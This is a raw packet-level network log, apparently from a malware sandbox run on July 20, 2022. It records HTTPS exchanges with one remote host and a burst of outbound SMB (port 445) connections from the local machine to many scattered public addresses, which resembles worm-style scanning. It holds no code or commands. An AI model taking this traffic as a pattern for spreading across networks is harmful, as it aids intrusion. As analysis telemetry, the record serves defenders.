Jul 20, 2022 06:06:50.273792982 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.273829937 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.273854971 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.273879051 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.273880959 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.273890018 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.273904085 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.273957014 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.273981094 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.273994923 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.274012089 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.274054050 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.274060011 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.274131060 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.274646044 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.274732113 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.274899960 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.274926901 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.274981976 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.274998903 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.275012970 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.275043011 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.275048018 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.275062084 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.275115013 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.275342941 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.275389910 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.275430918 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.275443077 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.275465012 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.275485039 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.275492907 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.275512934 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.275523901 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.275537014 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.275552988 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.275573969 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.276262999 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.276407957 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.276458025 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.276566029 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.276612997 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.276667118 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.276676893 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.276676893 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.276684046 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.276757002 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.276767015 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.276804924 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.276808023 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.276834965 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.277096033 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.277121067 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.277213097 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.277230024 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.277268887 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.277308941 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.277605057 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.277637959 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.277733088 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.277750969 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.277790070 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.277920008 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.277985096 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.277986050 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.278004885 CEST	443	50661	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.278024912 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.278074026 CEST	50661	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.278083086 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.278109074 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.278160095 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.278177977 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.278189898 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.278280973 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.278300047 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.278326035 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.278402090 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.278404951 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.278409958 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.278410912 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.278470993 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.278492928 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.278495073 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.278533936 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.278548002 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.278748035 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.278806925 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.278984070 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.279007912 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.279099941 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.279268980 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.279285908 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.279382944 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.279392004 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.279411077 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.279426098 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.279436111 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.279443979 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.279457092 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.279515982 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.279568911 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.279628038 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.279639959 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.279648066 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.279680014 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.279696941 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.279711008 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.279791117 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.279800892 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.279840946 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.279872894 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.279880047 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.279910088 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.279922962 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.279931068 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.279958963 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.279993057 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.280025959 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.280100107 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.280128956 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.280209064 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.280219078 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.280227900 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.280252934 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.280282974 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.280288935 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.280292988 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.280319929 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.280328989 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.281616926 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.281708956 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.282001972 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.282042980 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.282099009 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.282109022 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.282120943 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.282413006 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.282445908 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.282507896 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.282521009 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.282532930 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.282579899 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.282598019 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.283039093 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.283117056 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.283133984 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.283143044 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.283185959 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.283200979 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.283787012 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.283830881 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.283879995 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.283890009 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.283909082 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.283924103 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.283929110 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.283955097 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.283984900 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.284029007 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.284035921 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.316329956 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.316349030 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.316454887 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.316504002 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.316525936 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.316548109 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.316574097 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.316591978 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.316621065 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.316674948 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.316755056 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.316796064 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.316845894 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.316868067 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.316898108 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.316957951 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.316998959 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.317042112 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.317065001 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.317080975 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.317173958 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.317255020 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.317276001 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.317306042 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.317382097 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.317446947 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.317468882 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.317487001 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.317496061 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.317553043 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.317579985 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.317616940 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.317672968 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.317686081 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.317735910 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.317888975 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.317908049 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.317929983 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.317965984 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.317997932 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.318025112 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.318039894 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.318056107 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.318113089 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.318126917 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.318142891 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.318185091 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.318203926 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.318227053 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.318249941 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.318268061 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.318305016 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.318416119 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.318423033 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.332604885 CEST	50665	445	192.168.2.6	152.239.55.115
Jul 20, 2022 06:06:50.333019972 CEST	50666	445	192.168.2.6	29.154.252.64
Jul 20, 2022 06:06:50.419625044 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.419696093 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.419764996 CEST	443	50634	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.419836044 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.419991016 CEST	50634	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.485632896 CEST	50667	445	192.168.2.6	221.210.149.181
Jul 20, 2022 06:06:50.486222029 CEST	50668	445	192.168.2.6	25.42.166.92
Jul 20, 2022 06:06:50.486583948 CEST	50669	445	192.168.2.6	96.127.174.16
Jul 20, 2022 06:06:50.486625910 CEST	50670	445	192.168.2.6	102.90.12.162
Jul 20, 2022 06:06:50.486686945 CEST	50671	445	192.168.2.6	179.49.207.26
Jul 20, 2022 06:06:50.486737013 CEST	50672	445	192.168.2.6	10.125.83.226
Jul 20, 2022 06:06:50.486797094 CEST	50673	445	192.168.2.6	167.24.162.46
Jul 20, 2022 06:06:50.486917973 CEST	50674	445	192.168.2.6	136.17.147.248
Jul 20, 2022 06:06:50.486928940 CEST	50675	445	192.168.2.6	222.222.227.78
Jul 20, 2022 06:06:50.487029076 CEST	50677	445	192.168.2.6	22.204.103.80
Jul 20, 2022 06:06:50.487044096 CEST	50676	445	192.168.2.6	213.135.165.30
Jul 20, 2022 06:06:50.488500118 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.488579988 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.492501020 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.492598057 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.524502039 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.528109074 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.534126043 CEST	50678	445	192.168.2.6	174.58.4.104
Jul 20, 2022 06:06:50.545037985 CEST	50679	445	192.168.2.6	14.30.167.76
Jul 20, 2022 06:06:50.545739889 CEST	50680	445	192.168.2.6	28.121.6.166
Jul 20, 2022 06:06:50.546483994 CEST	50681	445	192.168.2.6	211.9.4.75
Jul 20, 2022 06:06:50.547197104 CEST	50682	445	192.168.2.6	25.215.245.217
Jul 20, 2022 06:06:50.547877073 CEST	50683	445	192.168.2.6	33.44.49.88
Jul 20, 2022 06:06:50.548588037 CEST	50684	445	192.168.2.6	80.219.76.96
Jul 20, 2022 06:06:50.549308062 CEST	50685	445	192.168.2.6	185.184.140.13
Jul 20, 2022 06:06:50.550072908 CEST	50686	445	192.168.2.6	58.62.225.217
Jul 20, 2022 06:06:50.700499058 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.700501919 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.700685978 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.700689077 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.732502937 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.734536886 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.858939886 CEST	50687	445	192.168.2.6	123.142.215.169
Jul 20, 2022 06:06:50.933836937 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.933862925 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.933881044 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.933998108 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.934007883 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.934021950 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.934118986 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.934127092 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.934139967 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.934149981 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.934168100 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.934174061 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.934254885 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.934264898 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.934278011 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.934379101 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.934387922 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:50.934468985 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.937877893 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.938255072 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.939367056 CEST	50633	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:50.939388037 CEST	443	50633	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.076203108 CEST	50688	445	192.168.2.6	88.152.128.45
Jul 20, 2022 06:06:51.112494946 CEST	443	50631	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.112569094 CEST	50631	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.116492987 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.116564989 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.139328957 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.139358044 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.139375925 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.139461994 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.139472008 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.139484882 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.139535904 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.139544010 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.139592886 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.139600039 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.139612913 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.139621973 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.139652967 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.139661074 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.139714956 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.139724016 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.139775991 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.139784098 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.139800072 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.139833927 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.139842033 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.139904022 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.139914989 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.139928102 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.139947891 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.139955044 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.140022039 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.140033960 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.140077114 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.140085936 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.140103102 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.140146017 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.140172005 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.140208960 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.140222073 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.140279055 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.140292883 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.140326023 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.140332937 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.140353918 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.140396118 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.140434980 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.140928984 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.140940905 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.141036987 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.141196966 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.141205072 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.141221046 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.141343117 CEST	50632	443	192.168.2.6	80.67.82.211
Jul 20, 2022 06:06:51.141354084 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.141367912 CEST	443	50632	80.67.82.211	192.168.2.6
Jul 20, 2022 06:06:51.141418934 CEST	50632	443	192.168.2.6	80.67.82.211
